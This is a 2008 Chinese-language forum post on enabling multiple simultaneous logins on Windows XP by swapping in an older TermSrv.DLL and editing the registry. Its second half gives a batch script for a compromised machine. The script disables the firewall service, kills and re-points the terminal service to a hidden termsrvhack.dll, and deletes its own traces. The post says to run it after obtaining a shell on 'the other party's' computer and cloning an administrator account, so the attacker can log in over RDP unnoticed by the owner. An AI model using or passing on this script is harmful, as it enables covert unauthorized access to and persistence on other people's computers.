香港大学中文论坛

 找回密码
 注册
搜索
查看: 22444|回复: 0
打印 上一主题 下一主题

[技术经验交流] WinXP实现多用户同玩一台电脑的方法

[复制链接]
跳转到指定楼层
1#楼
发表于 2008-9-9 02:03:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
第一步:首先是在Windows XP上安装SP2正式版,按照常规方式安装即可,这里不再赘述。

  第二步:准备一份版本较早的SP2终端服务器软件(据说从Build 2082开始该功能就被禁止了,所以最好使用之前版本),中文SP2测试版较难找到,我用的是英文版Build 2055,运行之后没有发现任何问题。你可以从http://www.msfn.org/board/index. ... 33154ae685f&act" target="_blank">http://www.msfn.org/board/index.php?s=8 ... c99733154ae685f&act

  =Attach&type=post&id=161513下载Build 2055的终端服务器执行文件TermSrv.DLL。从这个链接下载来的是一个扩展名为.DL_的文件,你可以把它的扩展名改成ZIP文件,然后用WinRAR解开它。

  第三步:接下来,以安全模式启动Windows XP,如果有多个操作系统,可以启动另一个能访问Windows XP系统分区的系统(除非安装了第三方工具软件,否则Windows 98不能访问NTFS分区,因此Windows 98可能没用)。然后,把Windows XP里面SP2正式版的所有TermSrv.DLL备份一下,在所有TermSrv.DLL文件出现的位置,用Build 2055版本的TermSrv.DLL覆盖。通常,TermSrv.DLL至少出现在二个位置,分别是:\Windows\system32,\Windows\system32\dllcache。凡是原来有TermSrv.DLL的地方,就用Build 2055版本的TermSrv.DLL覆盖。

  第四步:以正常模式启动Windows XP,如果系统的文件保护功能提示说TermSrv.DLL文件已被修改,并询问是否要复原,选择否。

  第五步:最后还要修改一下注册表,增加终端服务器的多用户许可。鉴于修改注册表比较麻烦而且容易出错,你可以用下面的批命令修改注册表:

  @echo off

  setlocal

  set regkey="HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core"

  reg add %regkey% /v EnableConcurrentSessions /T REG_DWORD /D 1 /f

  endlocal

  将上述内容保存为一个批命令文件,如AA.BAT,双击执行一下就可以了。

  我不推荐这种做法 ,太烦锁了,而且还要让系统重起过。我们可以写一个批处理文件使系统不用重起就实现XP多用户登陆,首先我们先来了解一个对注册表操作的命令参数:

  REG ADD KeyName [/v ValueName   /ve] [/t Type] [/s Separator] [/d Data] [/f]  

  KeyName [\\Machine\]FullKey

   Machine 远程机器名 - 忽略默认到当前机器。远程机器上

   只有 HKLM 和 HKU。

   FullKey ROOTKEY\SubKey

   ROOTKEY [ HKLM   HKCU   HKCR   HKU   HKCC ]

   SubKey 所选 ROOTKEY 下注册表项的完整名。  

  /v 所选项之下要添加的值名。  

  /ve 为注册表项添加空白值名(默认)。  

  /t RegKey 数据类型

   [ REG_SZ   REG_MULTI_SZ   REG_EXPAND_SZ  

   REG_DWORD   REG_BINARY   REG_NONE ]

   如果忽略,则采用 REG_SZ。  

  /s 指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符

   如果忽略,则将 "\0" 用作分隔符。  

  /d 要分配给添加的注册表 ValueName 的数据。  

  /f 不用提示就强行覆盖现有注册表项。  

  例如:  

  REG ADD \\ABC\HKLM\Software\MyCo

  添加远程机器 ABC 上的一个注册表项 HKLM\Software\MyCo  

  REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead

  添加一个值(名称: Data,类型: REG_BINARY,数据: fe340ead)  

  REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail

  添加一个值(名称: MRU,类型: REG_MUTLI_SZ,数据: fax\0mail\0\0)  

  REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d ^%systemroot^%

  添加一个值(名称: Path,类型: REG_EXPAND_SZ,数据: %systemroot%)

  注意: 在扩充字符串中使用插入符号 ( ^ )

  为了让系统不重起,我们可以用shutdown -a 这个命令。

  根据上面找来的资料,我们可以编写一个批处理,实现XP系统多用户登陆而又不用重起系统。

  代码如下:  

  @echo off

  @net stop sharedaccess

  @ntsd -c q -p "pid"

  @reg add HKLM\SOFTWARE\Microsoft\Windows" "NT\CurrentVersion\Winlogon /v KeepRASConnections /t REG_SZ /d 1 /f

  @reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

  @reg add HKLM\SYSTEM\CurrentControlSet\control\terminal" "server\Licensing" "Core /v EnableConcurrentSessions /t REG_DWORD /d 00000001 /f

  @reg add HKLM\SYSTEM\CurrentControlSet\Services\TermService\Parameters /v serviceDll /t REG_EXPAND_SZ /d %SystemRoot%\system32\termsrvhack.dll /f

  @copy c:\termsrvhack.dll c:\windows\system32\dllcache\termsrvhack.dll

  @attrib +h +s +r c:\windows\system32\dllcache\termsrvhack.dll

  @copy c:\termsrvhack.dll c:\windows\system32\termsrvhack.dll

  @attrib +h +s +r c:\windows\system32\termsrvhack.dll

  @shutdown -a

  @del c:\termsrvhack.dll

  @net start termservice

  @del c:\3389.bat

  其中“pid"是要替换成TermService服务的PID号,可以用命令tasklist/svc命令得到。当然win2000和以下系统是没有tasklist命令的。

  具体的操作方法是:先要得到对方的一个SHELL,然后在shell下用第三方软件打开终端服务,先不要改变默认的3389端口,不然要重起后才登陆,再建一个或克隆一个超级管理员用户。

  接下来把下载好的termsrvhack.dll和上面的批处理传到对方的C盘根目录下,然后在shell下运行此批处理。提示成功!

  最后打开登陆器,3389终端登陆!

  说明一下你登陆进去后在里面的操作和那台电脑的主人操作是互不影响的,他玩他的,你玩你的,呵呵,爽伐?!

您需要登录后才可以回帖 登录 | 注册

本版积分规则

手机访问本页请
扫描左边二维码
         本网站声明
本网站所有内容为网友上传,若存在版权问题或是相关责任请联系站长!
站长电话:0898-66661599    站长联系QQ:7123767   
         站长微信:7123767
请扫描右边二维码
www.jtche.com

小黑屋|手机版|Archiver|香港大学中文论坛 ( 渝ICP备17010310号-15 )

GMT+8, 2024-5-1 02:34 , Processed in 0.037078 second(s), 14 queries .

Powered by 重庆爱这代科技有限公司 X3.3

© 2001-2020 香港大学中文论坛

快速回复 返回顶部 返回列表